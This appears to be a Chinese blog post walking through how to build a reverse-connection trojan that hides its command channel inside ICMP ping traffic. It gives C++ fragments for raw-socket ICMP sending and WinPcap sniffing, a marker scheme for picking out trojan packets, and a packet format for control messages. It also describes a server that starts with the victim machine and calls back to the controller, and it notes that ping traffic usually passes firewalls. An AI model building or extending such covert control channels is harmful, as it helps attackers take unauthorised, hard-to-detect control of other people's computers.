基于ICMP的反弹式木马研究与实现
ICMP木马技术最初是为了摆脱端口的束缚而出现,与TCP和UDP协议不同,ICMP并没有端口字段,因为ICMP报文是通过系统内核或进程直接进行。这样,木马的服务器端和木马的客户端的通信采用ICMP协议时,木马的服务器不用开方任何端口。一般意义上的ICMP木马,其实就类似与一个Ping的过程。
传统的木马都是利用一个TCP端口来监听控制端的连接,一旦控制端认证通过,攻击者便会对服务器进行非法控制,但这种方式的隐蔽性非常弱。因此有人提出了反弹窗口式木马,也就是服务器主动向被控制端发送连接请求。
一:ICMP通信的实现
1.1原始套接字的工作原理与规则:
原始套接字是一个特殊的套接字类型,他的创建方式跟TCP/UDP的创建方法几乎类似: SOCKET socket=socket(AF_INET,SOCK_RAW,IPPRPTO_ICMP)//
这说明创建的是一个基于ICMP协议的原始套接字。原始套接字能够访问传输层以下的数据,也就是说,你能够实现上至应用层的数据操作,下至链路层的数据操作。 sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))//
用这个方式创建的原始套接字就能够直接读取链路层的数据。
(1):对于UDP/TCP产生的IP数据包,内核不将它传递给任何原始套接字,而只是将这些数据交给对应的UDP/TCP数据处理句柄(所以,如果你想要通过原始套接字来访问TCP/UDP或
者其它类型的数据,调用socket函数创建原始套接字第三个参数应该指定为htons(ETH_P_IP),
也就是通过直接访问数据链路层来实现.
(2):对于ICMP和EGP等使用IP数据包承载数据但又在传输层之下的协议类型的IP
数据包,内核不管是否已经有注册了的句柄来处理这些数据,都会将这些IP数据包复制一份传递给协议类型匹配的原始套接字
(3):对于不能识别协议类型的数据包,内核进行必要的校验,然后会查看是否有类型匹配的原始套接字负责处理这些数据,如果有的话,就会将这些IP数据包复制一份传递给匹配的原始套接字,否则,内核将会丢弃这个IP数据包并返回一个ICMP主机不可达的消息给源主机
(4)如果原始套接字bind绑定了一个地址,核心只将目的地址为本机IP地址的数包传递给原始套接字,如果某个原始套接字没有bind地址,核心就会把收到的所有IP数据包发给这个原始套接字
(5): 如果原始套接字调用了connect函数,则核心只将源地址为connect连接的IP地址的IP数据包传递给这个原始套接字
(6):如果原始套接字没有调用bind和connect函数,则核心会将所有协议匹配的IP数据包传递给这个原始套接字
1.2:利用原始套接字发送ICMP消息
由于操作系统的关系,创建一个原始套接字必须运行在管理员权限之下,因此,本程序全部运行在管理员模式。
WORD wVersion=MAKEWORD(2,2);
WSADATA wsaData;
WSAStartup(wVersion,&wsaData);
if (LOBYTE(wsaData.wVersion)!=2||HIBYTE(wsaData.wVersion)!=2)
{
WSACleanup();
return -1;
}
addr.sin_family=AF_INET;
addr.sin_addr.S_un.S_addr=inet_addr(dstIp.c_str());
addr.sin_port=0;
sock=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);//创建原始套接字,设置为icmp类型
rst=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&outTime,sizeof(int));//设置发送超时
if (SOCKET_ERROR==rst)
{
cout<<"set outtime error"<<endl;
WSACleanup();
return -2;
}
.
int count=1;//设置发送的次数
int len=sizeof(sockaddr);
while (count--)
{
ICMPHDR *icmp=new ICMPHDR;//ICMPHDR 定义的ICMP头格式
memset(icmp,0,sizeof(icmp));
FillIcmp(icmp); //用来初始化填充ICMP报文
SOCKADDR_IN addrFrom;
int nLen=sizeof(addrFrom);
icmp->icmp_type=8;//类型为8
icmp->icmp_code=0;//代表我是发送ping回复
icmp->icmp_sequence=5678;//证明这是我的木马。
strcpy_s(icmp->data,str.c_str()); //附带的数据
icmp->icmp_checksum = CheckSum((USHORT*)icmp, sizeof(ICMPHDR)); //进行ICMP的校验
int result;
result = sendto(sock,(char*)icmp, sizeof(ICMPHDR),0,(SOCKADDR*)&addr,sizeof(SOCKADDR)); //向目标主机发送icmp请求包,也就得到这服务器的ip地址。
if (SOCKET_ERROR == result)
{
if (WSAETIMEDOUT == WSAGetLastError())
{
cout << "send time out" << endl;
continue;
}
else
{
cout << "sendto error" << endl;
closesocket(sock);
WSACleanup();
return -1;
}
}
}
**这样就可以发送一条ICMP消息了。
但是在这里遇到了一个问题,希望能有大神给解答一下。 我在B电脑上创
建一个ICMP的套接字,为什么收不到A电脑发送的ICMP报文,通过抓包分析,A电脑发送的ICMP报文正确到达了B电脑,为什么这个原始套接字不能捕获这条ICMP报文。也正是由于这个原因, 我在下面服务器和客户端的ICMP报文接收中,使用的捕获数据链路层的包来分析ICMP的内容,这实在是一个巨大的遗憾!!**
1.3 接收ICMP消息
由于上述的原因,我并没有成功的直接接收到ICMP报文,因此,我转而通过嗅探的方法来捕获到达的ICMP报文,为了方便,这里使用了wincap来进行。大家也可以使用基于数据链路层的原始套接字来捕获ICMP消息,如果谁有更好的方法,请不吝赐教。
关键代码如下:
if ((devHandle=pcap_open_live(d->name,1600,1,1,er))==NULL)//d-namp为网卡的描述符,1600为缓冲区的大小,适当大小的缓冲区有利于提高响应的速度,1为将网卡置于混杂模式,1为响应的时间为1ms,具体参数的定义大家可以自行百度
{
pcap_freealldevs(alldevs);
return false;
}
if (pcap_datalink(devHandle)!=DLT_EN10MB)
{
AfxMessageBox(_T("不是以太网"));
pcap_freealldevs(alldevs);
return false;
}
m_ThreadHandle=AfxBeginThread((AFX_THREADPROC)MyProc,this);
while (1)
{
pcap_next_ex(pThis->devHandle, &header, &pkt_data);//pkt__data即为捕获到的所有数据,大家可已根据IP和ICMP报文的格式进行分析,我就不再赘述
datapkt *data = new datapkt;
memset(data,0,sizeof(data));
if(NULL == data)
{
AfxMessageBox(_T("空间已满,无法接收新的数据包"));
return ;
}
if(pThis->analyze_frame(pkt_data,data)<0)
{
delete data;
continue;
}
else
{
pThis->recvMSG(data);//得到了接收到的icmp消息
delete data;
}
}
二:通信数据格式的定义
互联网上的数据都有一定的格式,我们的木马程序使用的数据格式如下:这只是一个最简单的实现,可根据实际的需要设置自己的数据格式。
ICMP数据报格式:
8位类型码 8位代码 16校验和
16位标志位 16位序号
8位操作类型 最长1024位数据可选
其中,服务端发送的是类型码为8,代码为0的ICMP消息,这会被计算机理解为一个ping请求,故一般不会被防火墙拦截。
客户端发送的是类型码为0,代码为0的ICMP消息,这是一个ping回复。
16位标志位代表发送这个ICMP报文的进程号,
16位序号代表这个ICMP报文的序号,可以用来组装附加的数据
8位操作类型的定义如下:
三:服务器的实现
服务端和客户端的实现比较简单。服务端即被控制端。当被控制端开机,服务器会伴随启动,并发送ICMP请求给客户端,也就是发送操作类型为请求连接的ICMP消息给客户端,客户端收到这个消息以后,若同意,会发送ICMP连接确认,告诉被控主机。这时,就会建立起ICMP连接。其中,正常的ICMP消息和木马的ICMP消息,我是使用16位的标志位来标志这是属于我木马的ICMP消息。
四:客户端的实现
客户端更为简单,大家有疑问可以留言。